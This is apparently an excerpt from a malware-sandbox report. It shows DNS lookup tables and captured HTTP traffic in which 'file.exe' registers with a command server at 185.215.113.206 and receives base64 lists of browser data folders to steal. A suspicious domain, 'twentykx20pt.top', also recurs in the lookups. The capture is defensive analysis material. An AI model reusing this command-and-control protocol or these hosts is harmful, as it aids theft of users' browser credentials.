Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.078296900 CET	1.1.1.1	192.168.2.5	0xf4c8	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		216.58.208.238	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148127079 CET	1.1.1.1	192.168.2.5	0x15a7	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.148560047 CET	1.1.1.1	192.168.2.5	0xb1cf	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.286582947 CET	1.1.1.1	192.168.2.5	0xf6a8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 29, 2024 19:51:24.286582947 CET	1.1.1.1	192.168.2.5	0xf6a8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 29, 2024 19:51:24.286582947 CET	1.1.1.1	192.168.2.5	0xf6a8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 29, 2024 19:51:24.286582947 CET	1.1.1.1	192.168.2.5	0xf6a8	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 29, 2024 19:51:24.287826061 CET	1.1.1.1	192.168.2.5	0xd529	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 29, 2024 19:51:24.430326939 CET	1.1.1.1	192.168.2.5	0x4a19	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:24.430326939 CET	1.1.1.1	192.168.2.5	0x4a19	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.430563927 CET	1.1.1.1	192.168.2.5	0x8f78	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:24.430563927 CET	1.1.1.1	192.168.2.5	0x8f78	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.430563927 CET	1.1.1.1	192.168.2.5	0x8f78	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.430563927 CET	1.1.1.1	192.168.2.5	0x8f78	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.430563927 CET	1.1.1.1	192.168.2.5	0x8f78	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.558897972 CET	1.1.1.1	192.168.2.5	0x3099	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.570931911 CET	1.1.1.1	192.168.2.5	0x53b6	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.662786961 CET	1.1.1.1	192.168.2.5	0x4d0f	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.662786961 CET	1.1.1.1	192.168.2.5	0x4d0f	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.662786961 CET	1.1.1.1	192.168.2.5	0x4d0f	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.662786961 CET	1.1.1.1	192.168.2.5	0x4d0f	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.702214003 CET	1.1.1.1	192.168.2.5	0x2012	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.734558105 CET	1.1.1.1	192.168.2.5	0xbfad	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 29, 2024 19:51:39.952147961 CET	1.1.1.1	192.168.2.5	0x1644	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:39.952147961 CET	1.1.1.1	192.168.2.5	0x1644	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.043404102 CET	1.1.1.1	192.168.2.5	0x675a	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.043404102 CET	1.1.1.1	192.168.2.5	0x675a	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.043404102 CET	1.1.1.1	192.168.2.5	0x675a	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.043404102 CET	1.1.1.1	192.168.2.5	0x675a	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.097316980 CET	1.1.1.1	192.168.2.5	0x246b	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.186435938 CET	1.1.1.1	192.168.2.5	0x998b	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.186435938 CET	1.1.1.1	192.168.2.5	0x998b	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.186435938 CET	1.1.1.1	192.168.2.5	0x998b	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.186435938 CET	1.1.1.1	192.168.2.5	0x998b	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.330383062 CET	1.1.1.1	192.168.2.5	0x263b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 29, 2024 19:51:40.330383062 CET	1.1.1.1	192.168.2.5	0x263b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 29, 2024 19:51:40.330383062 CET	1.1.1.1	192.168.2.5	0x263b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 29, 2024 19:51:40.330383062 CET	1.1.1.1	192.168.2.5	0x263b	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 29, 2024 19:51:40.432482958 CET	1.1.1.1	192.168.2.5	0x6fdf	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:40.432482958 CET	1.1.1.1	192.168.2.5	0x6fdf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.432579041 CET	1.1.1.1	192.168.2.5	0x6fdf	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:40.432579041 CET	1.1.1.1	192.168.2.5	0x6fdf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.680875063 CET	1.1.1.1	192.168.2.5	0x53a6	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:42.816118002 CET	1.1.1.1	192.168.2.5	0x59e3	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:42.816118002 CET	1.1.1.1	192.168.2.5	0x59e3	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:43.744095087 CET	1.1.1.1	192.168.2.5	0x1d99	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:46.578785896 CET	1.1.1.1	192.168.2.5	0x516c	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:59.604600906 CET	1.1.1.1	192.168.2.5	0x7c9c	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:00.980473995 CET	1.1.1.1	192.168.2.5	0x78e1	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:52:00.980473995 CET	1.1.1.1	192.168.2.5	0x78e1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:09.717317104 CET	1.1.1.1	192.168.2.5	0x356e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.563186884 CET	1.1.1.1	192.168.2.5	0x80dc	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.717698097 CET	1.1.1.1	192.168.2.5	0x7da0	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.717735052 CET	1.1.1.1	192.168.2.5	0x7da0	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.732938051 CET	1.1.1.1	192.168.2.5	0x7da0	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.879343033 CET	1.1.1.1	192.168.2.5	0x7835	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.879359007 CET	1.1.1.1	192.168.2.5	0x7835	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.893125057 CET	1.1.1.1	192.168.2.5	0x7835	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.037220001 CET	1.1.1.1	192.168.2.5	0xd164	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.037241936 CET	1.1.1.1	192.168.2.5	0xd164	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.201910973 CET	1.1.1.1	192.168.2.5	0x769d	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.201999903 CET	1.1.1.1	192.168.2.5	0x769d	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.217539072 CET	1.1.1.1	192.168.2.5	0x769d	No error (0)	twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.378142118 CET	1.1.1.1	192.168.2.5	0xbc97	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.378158092 CET	1.1.1.1	192.168.2.5	0xbc97	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.629630089 CET	1.1.1.1	192.168.2.5	0xc1	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.629724026 CET	1.1.1.1	192.168.2.5	0xc1	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.888407946 CET	1.1.1.1	192.168.2.5	0x7f1e	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.888562918 CET	1.1.1.1	192.168.2.5	0x7f1e	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.915546894 CET	1.1.1.1	192.168.2.5	0x7f1e	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:02.368340015 CET	1.1.1.1	192.168.2.5	0xb306	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:02.520247936 CET	1.1.1.1	192.168.2.5	0xa4bb	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:04.400667906 CET	1.1.1.1	192.168.2.5	0xf603	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:54:04.400667906 CET	1.1.1.1	192.168.2.5	0xf603	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:04.400744915 CET	1.1.1.1	192.168.2.5	0xf603	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:54:04.400744915 CET	1.1.1.1	192.168.2.5	0xf603	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:11.242744923 CET	1.1.1.1	192.168.2.5	0x9827	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:11.385256052 CET	1.1.1.1	192.168.2.5	0xce65	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:19.739567995 CET	1.1.1.1	192.168.2.5	0x92ae	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:19.742237091 CET	1.1.1.1	192.168.2.5	0x43e8	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:56:19.742237091 CET	1.1.1.1	192.168.2.5	0x43e8	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:19.881181002 CET	1.1.1.1	192.168.2.5	0x9cda	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:21.131275892 CET	1.1.1.1	192.168.2.5	0x77c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:56:21.131275892 CET	1.1.1.1	192.168.2.5	0x77c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:44.318036079 CET	1.1.1.1	192.168.2.5	0x93bb	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:44.463864088 CET	1.1.1.1	192.168.2.5	0x7a89	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:45.966315031 CET	1.1.1.1	192.168.2.5	0xbe94	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:56:45.966315031 CET	1.1.1.1	192.168.2.5	0xbe94	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:58:12.694305897 CET	1.1.1.1	192.168.2.5	0x3582	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:58:14.364828110 CET	1.1.1.1	192.168.2.5	0x56ef	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:58:14.364828110 CET	1.1.1.1	192.168.2.5	0x56ef	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:58:14.373615026 CET	1.1.1.1	192.168.2.5	0x56ef	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:58:14.373615026 CET	1.1.1.1	192.168.2.5	0x56ef	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	2172	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:49:06.533853054 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:49:07.879230976 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 29, 2024 19:49:07.887600899 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="build"drum------EGIDBFBFHJDGCAKEGHJE--
Nov 29, 2024 19:49:08.346668005 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 47 5a 69 4d 6d 4d 30 59 6a 59 34 4e 6d 59 7a 4d 57 45 31 4f 47 51 78 4d 57 4d 7a 4d 6a 63 34 59 6a 51 33 5a 57 51 32 4e 6d 51 78 4d 6d 4d 7a 5a 44 51 35 4f 47 59 79 4d 57 49 79 5a 44 64 68 59 54 6c 68 59 6a 6c 6d 4f 47 5a 6b 59 57 45 77 5a 6a 63 31 4e 7a 46 68 4e 44 52 68 4d 47 4d 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NGZiMmM0YjY4NmYzMWE1OGQxMWMzMjc4YjQ3ZWQ2NmQxMmMzZDQ5OGYyMWIyZDdhYTlhYjlmOGZkYWEwZjc1NzFhNDRhMGMxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 29, 2024 19:49:08.347738981 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 41 41 45 43 41 45 42 4b 4a 4b 46 48 4a 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------EHDAAECAEBKJKFHJKECFContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------EHDAAECAEBKJKFHJKECFContent-Disposition: form-data; name="message"browsers------EHDAAECAEBKJKFHJKECF--
Nov 29, 2024 19:49:08.793605089 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
